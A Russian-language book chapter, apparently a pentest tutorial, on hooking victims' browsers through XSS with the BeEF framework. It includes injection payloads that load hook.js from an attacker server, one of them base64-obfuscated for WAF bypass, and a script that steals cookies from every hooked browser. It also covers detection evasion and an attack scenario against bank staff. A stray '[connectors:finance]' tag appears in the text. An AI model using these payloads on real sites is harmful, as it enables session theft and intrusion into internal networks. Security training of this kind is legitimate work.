Книга: «Все об уязвимости XSS». Глава 7. Эксплуатация XSS - Время красть cookie 🍪 • BeEF Framework: превращаем браузер в зомби
Всё, что мы разобрали в этой главе - cookie grabbing, keylogging, фишинг - это отдельные payload'ы, которые ты пишешь и отправляешь вручную. BeEF (Browser Exploitation Framework) берёт все эти техники, упаковывает в единую платформу и добавляет самое главное - постоянный канал управления скомпрометированным браузером в реальном времени. Это переход от разовых уколов к полноценному захвату: жертва становится "зомби" в твоём ботнете, а ты получаешь консоль, откуда можно нажимать кнопки, а не писать код заново для каждой атаки.
Что такое BeEF и почему он меняет правила игры
BeEF - это open-source фреймворк, специально созданный для эксплуатации через браузер. В отличие от обычного XSS payload'а, который выполняется один раз и исчезает, BeEF устанавливает постоянное "зацепление" (hook) - JavaScript-файл, который держит связь с командным сервером всё то время, пока страница с ним открыта в браузере жертвы.
Ключевое отличие от техник, которые мы разбирали ранее в этой главе: cookie grabbing и keylogging - это "выстрелил и забыл". BeEF даёт тебе живую сессию: ты видишь, когда жертва онлайн, можешь запускать модули в реальном времени, комбинировать атаки и адаптироваться на ходу, наблюдая за реакцией жертвы.
Установка и запуск BeEF
BeEF предустановлен в Kali Linux, но легко разворачивается на любой системе.
git clone https://github.com/beefproject/beef.git
cd beef
gem install bundler
bundle install
Конфигурация перед запуском:
Открой config.yaml и смени дефолтные креды для админ-панели (это критично - открытая BeEF-панель с паролем beef:beef - подарок для других атакующих):
beef:
credentials:
user: "your_secure_username"
passwd: "your_secure_password_here"
Запуск:
./beef
После старта BeEF поднимает:
- Веб-панель управления на
http://127.0.0.1:3000/ui/panel - Hook-скрипт, доступный по адресу
http://127.0.0.1:3000/hook.js
The Hook - сердце BeEF
Всё начинается с одной строчки, которую нужно внедрить через найденную XSS-уязвимость:
<script src="http://your-beef-server.com:3000/hook.js"></script>
Полный payload для инъекции:
<img src=x onerror="var s=document.createElement('script');s.src='http://your-beef-server.com:3000/hook.js';document.body.appendChild(s)">Как только этот скрипт выполняется в браузере жертвы, происходит следующее:
- Hook-скрипт регистрирует браузер жертвы в BeEF как новую "zombie"-сессию
- Устанавливается постоянный polling-канал (обычно через AJAX-запросы каждые несколько секунд), через который командный сервер отправляет инструкции
- В твоей панели управления появляется новая запись с деталями браузера: версия, OS, плагины, разрешение экрана, IP-адрес
Обфусцируй hook как обычный payload, применяя техники из главы 6 , чтобы обойти WAF при инъекции:
<svg onload="eval(atob('dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly95b3VyLWJlZWYtc2VydmVyLmNvbTozMDAwL2hvb2suanMnO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQocyk='))">Панель управления - твой командный центр
После открытия панели (admin:your_password) ты видишь дерево "Online Browsers" - список всех активных зомби-сессий, сгруппированных по доменам, откуда они были захвачены.
Кликнув на конкретную сессию, получаешь доступ к нескольким вкладкам:
Details - техническая информация о браузере: User-Agent, разрешение экрана, установленные плагины, поддержка WebRTC, платформа. Это тот же fingerprint, о котором мы говорили в разделе про session hijacking - только собранный автоматически.
Logs - журнал всех событий, произошедших с этим hook'ом: когда подключился, какие модули были запущены.
Commands - самое важное. Здесь находится каталог из сотен готовых модулей эксплуатации, разбитых по категориям.
Модули BeEF - арсенал одним кликом
Social Engineering модули
BeEF включает готовые фишинг-шаблоны, автоматизирующие технику, которую мы разбирали в предыдущем разделе :
- Fake Flash Update - показывает жертве поддельное окно обновления Flash Player с загрузкой malware
- Pretty Theft - имитирует диалоговое окно повторного логина от Facebook, Gmail и других популярных сервисов, встроенное прямо в текущую страницу
- iFrame Overlay - накладывает невидимый iframe поверх страницы для перехвата кликов
Запуск модуля - просто дважды кликаешь на него в дереве Commands, настраиваешь параметры (например, какой сервис имитировать) и жмёшь Execute.
Browser модули
- Get Cookie - автоматизированная версия cookie grabbing из первого раздела главы , но без необходимости писать payload вручную
- Get Local Storage / Get Session Storage - извлечение данных из веб-хранилищ, актуально для SPA-приложений с JWT-токенами
- Detect Software - определяет установленные браузерные плагины и версии для подбора подходящих эксплойтов
Network модули
- Port Scanner - использует браузер жертвы как точку сканирования внутренней сети. Это критично важно: если жертва сидит во внутренней корпоративной сети, ты можешь просканировать её изнутри через её же браузер, обходя внешний файрвол
- Ping Sweep - обнаружение живых хостов в локальной сети жертвы
- Fingerprint Network - определение других устройств и сервисов в той же подсети
Это превращает браузер жертвы в pivot-точку для атаки на всю внутреннюю инфраструктуру - особенно опасно, если жертва работает в банке или другой финансовой организации с защищённой внутренней сетью [connectors:finance].
Persistence модули
- Man-In-The-Browser - модуль, который перехватывает и модифицирует запросы, отправляемые со страницы, в реальном времени
- Confirm - заставляет браузер жертвы держать соединение открытым дольше, продлевая жизнь zombie-сессии
Exploitation модули
BeEF интегрируется с Metasploit через плагин beef_metasploit, что позволяет напрямую запускать браузерные эксплойты (например, под конкретную версию Flash или Java) прямо из командной панели BeEF, если у жертвы обнаружено уязвимое ПО через модуль Detect Software.
Man-in-the-Browser - продвинутая техника перехвата
Один из самых мощных модулей BeEF - Man-in-the-Browser, который позволяет модифицировать содержимое форм на лету, комбинируя техники form hijacking, которые мы разбирали в разделе про keylogging .
Например, модуль "Webcam" запрашивает у жертвы доступ к веб-камере под видом легитимного запроса сайта (WebRTC permission prompt выглядит нативно для браузера, поэтому жертва часто не задумывается и разрешает).
Комбинирование техник главы в единый сценарий через BeEF
Представь полный сценарий атаки на портал финансовой организации, где найден XSS:
- Инъекция hook'а через уязвимую точку входа (например, форма поддержки, как мы разбирали в разделе про Blind XSS ранее)
- Автоматический Get Cookie - как только сотрудник поддержки открывает тикет, BeEF мгновенно извлекает session cookie
- Port Scanner запускается автоматически для разведки внутренней сети банка через браузер сотрудника
- Pretty Theft модуль показывает поддельное окно повторной авторизации, если основной cookie оказался защищён HttpOnly
- Man-in-the-Browser перехватывает любые данные, вводимые в течение сессии, пока сотрудник продолжает работать с открытой вкладкой
Всё это происходит без необходимости писать новый payload для каждого шага - ты просто кликаешь модули в панели, а BeEF делает всю грязную работу.
RESTful API - автоматизация на промышленном уровне
BeEF предоставляй REST API, что позволяет полностью автоматизировать управление зомби-сессиями через скрипты:
import requests
BEEF_URL = "http://127.0.0.1:3000"
auth = requests.post(f"{BEEF_URL}/api/admin/login",
data={"username": "admin", "password": "your_password"}).json()
token = auth['token']
hooked_browsers = requests.get(f"{BEEF_URL}/api/hooks?token={token}").json()
for session_id in hooked_browsers['hooked-browsers']['online'].keys():
requests.post(f"{BEEF_URL}/api/modules/{session_id}/0/1?token={token}",
json={"cmd": "get_cookie"})
Это позволяет масштабировать атаку на десятки одновременных zombie-сессий, автоматически прогоняя каждую через одинаковый набор модулей без ручного клика по каждой отдельно.
Обход детекции для устойчивого hook'а
Полный BeEF hook создаёт заметный сетевой трафик (постоянный polling к командному серверу). Для маскировки:
Ретейминг URL hook-скрипта:
Разверни BeEF за reverse-proxy с доменом, похожим на легитимный CDN или аналитический сервис, применяя те же принципы маскировки доменов, что мы разбирали в разделе про keylogging .
Изменение интервала polling:
В config.yaml можно замедлить частоту опроса, снижая заметность в Network tab:
beef:
http:
session_cookie_name: "BEEFHOOK"
hook:
poll_interval: 15000
Этические и правовые рамки
BeEF - легальный и широко используемый инструмент в профессиональном пентесте, но его мощь означает, что применение вне рамок подписанного договора с чётким scope немедленно превращается в тяжкое преступление - несанкционированный доступ к компьютерным системам, а при использовании модулей Network против внутренней инфраструктуры компании - ещё и потенциальный шпионаж в отношении коммерческой тайны. Используй BeEF исключительно в bug bounty программах, где явно разрешено демонстрировать impact через фреймворки эксплуатации, либо в контролируемых lab-средах для обучения.
Заключение
BeEF Framework - это точка, где XSS перестаёт быть уязвимостью одного запроса и становится полноценной платформой постоянного контроля. Cookie grabbing, keylogging, фишинг - все техники, разобранные в этой главе, объединяются здесь в единую экосистему с графическим интерфейсом, готовыми модулями и API для автоматизации. Именно поэтому при демонстрации impact в отчётах по bug bounty профессионалы часто прикладывают скриншот BeEF-панели с захваченной сессией - это самый наглядный способ показать заказчику, что "просто alert(1)" на самом деле означает полный контроль над браузером сотрудника, доступ к внутренней сети и потенциальную компрометацию всей инфраструктуры.
